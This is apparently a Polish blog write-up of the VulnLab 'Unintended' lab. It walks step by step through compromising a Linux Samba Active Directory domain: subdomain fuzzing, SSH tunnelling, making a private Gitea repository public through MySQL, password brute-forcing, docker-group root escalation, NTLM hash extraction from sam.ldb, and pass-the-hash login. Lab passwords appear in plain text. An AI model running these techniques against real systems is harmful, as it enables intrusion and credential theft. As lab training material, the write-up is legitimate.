Linux AD? No problem! I’ll hack it
Długo mnie nie było ale czas na powrót! Na start chain Unintended w którym mam do shakowania 3 adresy IP:
10.10.216.21
10.10.216.22
10.10.216.23
Wstępny rekonesans wskazuje na to że:
10.10.216.21 - linux DC
10.10.216.22 - WEB
10.10.216.23 - FTP
WEB aplikacja to statyczna strona w HTML, w której ujawniona jest domena z subdomeną
Skoro aplikacja korzysta z subdomen to czas na wykonanie bruteforce subdomen:
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.unintended.vl" -u http://web.unintended.vl -fw 837
chat [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 26ms]
code [Status: 200, Size: 13653, Words: 1050, Lines: 272, Duration: 103ms]
Na code.unintended.vl znajduje się Gitea, a na chat.unintended.vl jest Mattermost.
Gitea⌗
W gitei znajduje się publiczne repozytorium Juan/DevOps, który posiada kilka commitów:
Pewnie znajdą się tam jakieś hasełka ;)
No i się nie myliłem:

Mam pierwsze dwa hasła czas sprawdzić gdzie mogę się nimi zalogować. Na SFTP nic nie ma, a próba połączenia się samym SSH daje błąd
(ftp_user@10.10.216.22) Password:
This service allows sftp connect
Ale ale ale, to nie oznacza że nie mogę tego nadużyć. Czas na zestawienie tunelowania przy użyciu SSH
ssh -D 1081 -N ftp_user@10.10.216.22
Dzięki -N żadna komenda nie zostania wykonana na serwerze, a połączenie będzie “wisieć” co idealnie sprawdzi się do tunelowania.
web.unintended.vl - internal⌗
Wewnętrzny skan wykrył dodatkowe porty
22/tcp open ssh syn-ack
80/tcp open http syn-ack
222/tcp open rsh-spx syn-ack
3000/tcp open ppp syn-ack
3306/tcp open mysql syn-ack
8000/tcp open http-alt syn-ack
8200/tcp open trivnet1 syn-ack
Czas połączyć się z MySQL
proxychains -q mysql -u root -p -P 3306 -h localhost
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
No i jest baza gitei, czas na enumerację! W users jest dwóch użytkowników
MySQL [gitea]> select lower_name,passwd,passwd_hash_algo from user;
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| lower_name | passwd | passwd_hash_algo |
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| administrator | f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902 | pbkdf2$50000$50 |
| juan | d8bf3dff89969075cd73cc1496942901ea132619454318cb37e4bec821d6867045bcbc0ac2905c2531ee5d6e6c5a475c9b51 | pbkdf2$50000$50 |
+---------------+------------------------------------------------------------------------------------------------------+------------------+
Warto zobaczyć czy są jakieś inne repozytoria.
MySQL [gitea]> select owner_name,lower_name,is_private from repository;
+------------+-------------+------------+
| owner_name | lower_name | is_private |
+------------+-------------+------------+
| juan | devops | 0 |
| juan | home-backup | 1 |
+------------+-------------+------------+
Ho ho, jest i prywatne repozytorium. Czas zmienić je z prywatnego na publiczne ;)
MySQL [gitea]> UPDATE repository SET is_private=0 WHERE id=7;
Query OK, 1 row affected (0.034 sec)
Rows matched: 1 Changed: 1 Warnings: 0
No i mamy kolejne repo. Jak widać jest tutaj zapisany plik .bash_history, warto sprawdzić co w nim się kryje
No i mamy kolejne hasło, tutaj jest użyte jako passphrase do klucza ale może user używa go też do logowania

10.10.216.22⌗
Znalezione hasło działa do Mattermost’a jak i w domenie i SSH na 10.10.216.22
Domena:
└─$ crackmapexec smb 10.10.216.21 -u "juan" -p "theJUANman2019" --shares
SMB 10.10.216.21 445 DC [*] Windows 6.1 Build 0 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.216.21 445 DC [+] unintended.vl\juan:theJUANman2019
SMB 10.10.216.21 445 DC [+] Enumerated shares
SMB 10.10.216.21 445 DC Share Permissions Remark
SMB 10.10.216.21 445 DC ----- ----------- ------
SMB 10.10.216.21 445 DC sysvol
SMB 10.10.216.21 445 DC netlogon
SMB 10.10.216.21 445 DC home Home Directories
SMB 10.10.216.21 445 DC IPC$ IPC Service (Samba 4.15.13-Ubuntu)
Mattermost:
W celu zalogowania się do SSH trzeba pamiętać o podaniu domeny
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Unintended]
└─$ ssh "juan@unintended.vl"@10.10.216.22
(juan@unintended.vl@10.10.216.22) Password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
[...]
juan@unintended.vl@web:~$
Dalsza analiza Mattermost wykazała, że Juan ujawnił schemat hasła dla Abbie (theabbs) :D
Używając BurpSuite Intruder wykonałem bruteforce na logowanie na Mattermost. Aby nie zablokować konta musiałem stworzyć nieduża wordlistę. Moje pierwsze założenie jest takie że raczej w haśle pierwsza litera będzie duża, druga to że pracownik raczej nie jest stary (bazując na używaniu emotek). Bazując na tym postawiłem na taki schemat:
Abbie1990-2000
BINGO! Udało się odgadnąć hasło użytkownika, czas zobaczyć o czym ciekawym on pisał.
No i kto by się spodziewał :D, kolejne hasło

10.10.216.23⌗
Na hoście 10.10.216.22 abbie nie miała specjalnych uprawnień więc zalogowałem się na 10.10.216.23 gdzie abbie była w grupie docker.
abbie@unintended.vl@backup:~$ id
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl),119(docker)
Ha to będzie szybka eskalacja! Maszyna nie jest podłączona do internetu więc są dwa rozwiązania
- Skorzystanie z obecnie uruchomionych dockerów
- Pobranie lokalnie dockera i przesłanie go przy użyciu SSH
W tym przypadku wybrałem pierwszą opcję. Komende docker ps wykryłem obecnie uruchomiony docker, w którym szybko sprawdzę czy nie znajdują się ciekawe dane, a docker images posłuży mi do eskalacji uprawnień
abbie@unintended.vl@backup:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3b4fb11f4672 python:3.11.2-slim "sh ./setup.sh" 2 months ago Up 13 minutes scripts_ftp_1
abbie@unintended.vl@backup:~$ docker exec scripts_ftp_1 -it /bin/bash
OCI runtime exec failed: exec failed: unable to start container process: exec: "-it": executable file not found in $PATH: unknown
abbie@unintended.vl@backup:~$ docker exec -it scripts_ftp_1 /bin/bash
root@ftp:/ftp#
No i co my tu mamy, kolejne hasło 😎
root@ftp:/ftp# ls /
bin boot dev etc ftp home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@ftp:/ftp# ls
server.py setup.sh volumes
root@ftp:/ftp# cat server.py
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("ftp_admin", "u76n0wn287ak98f", "/ftp/volumes/", perm="elradfmw")
Dobra czas na eskalację uprawnień
abbie@unintended.vl@backup:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
python 3.11.2-slim 4d2191666712 13 months ago 128MB
abbie@unintended.vl@backup:~$ docker run -v /:/mnt --rm -it 4d2191666712 chroot /mnt bash
root@bd7ab4558375:~# wc -c flag.txt
37 flag.txt
Na FTP znajdują się dwa ciekawe katalogi
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||34383|).
150 File status okay. About to open data connection.
drw-rw---- 2 root root 4096 Jan 25 07:13 docker_src
drw-rw---- 2 root root 4096 Feb 17 20:33 domain_backup
W docker_src znajdują się pliki związane z Duplicati usługa uruchomioną na 10.10.216.22, a w domain_backup jest backup domeny:
-rw-rw---- 1 root root 1654914 Feb 17 20:33 samba-backup-2024-02-17T20-32-13.580437.tar.bz2
PWNing Domain⌗
Po wypakowaniu archiwum poniże pliki zostały utworzone
backup.txt etc private samba-backup-2024-02-17T20-32-13.580437.tar.bz2 state sysvol.tar unintended.vl unintended.vl.NTACL
Najciekawsze są w private, w których między innymi znajduje się plik SAM, który w systemach windowsowych trzyma hasze użytkowników, a w przypadku Linuxowego AD znajdują się tam informację o AD:
-rwxrwxrwx 1 root root 4526080 Feb 17 15:32 sam.ldb
Teraz trzeba wykombinować jak wyciągnąć hasze z tego pliku. Jedną z charakterystycznych rzeczy dla Linuxowego AD jest flaga unicodePwd, która to trzyma hasło / hash NTLM użytkownika. W celu wydobycia tej flagi użyłem programu ldbsearch:
ldbsearch -H ./sam.ldb '(&(objectclass=person)(name=Administrator))' name unicodePwd
Unknown parameter encountered: "commend"
Ignoring unknown parameter "commend"
# record 1
dn: CN=Administrator,CN=Users,DC=unintended,DC=vl
name: Administrator
unicodePwd:: Nv4kHqDqpTPV+si9f7b4ow==
No i elegancko, teraz wystarczy przekonwertować tego base64 na hasz. W tym celu należy odkodować go z base64 i przekonwertować na HEX. No i teraz można zalogować się w AD 🎃
W tym celu użyję smbclient i połączę się do //10.10.216.21/home
┌──(kali㉿kali)-[~/…/VULNLAB/Unintended/backup/private]
└─$ smbclient -W unintended.vl -U Administrator%36fe241ea0eaa533d5fac8bd7fb6f8a3 --pw-nt-hash //10.10.216.21/home
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Mar 30 04:37:08 2024
.. D 0 Sat Feb 24 15:13:16 2024
.profile H 807 Sat Feb 24 15:13:16 2024
.cache DH 0 Sat Feb 24 15:13:16 2024
.bashrc H 3771 Sat Feb 24 15:13:16 2024
.bash_logout H 220 Sat Feb 24 15:13:16 2024
root.txt N 37 Sat Mar 30 04:37:08 2024
No i finito jest flaga z kontrolera, do zo na następnym hakowaniu 💪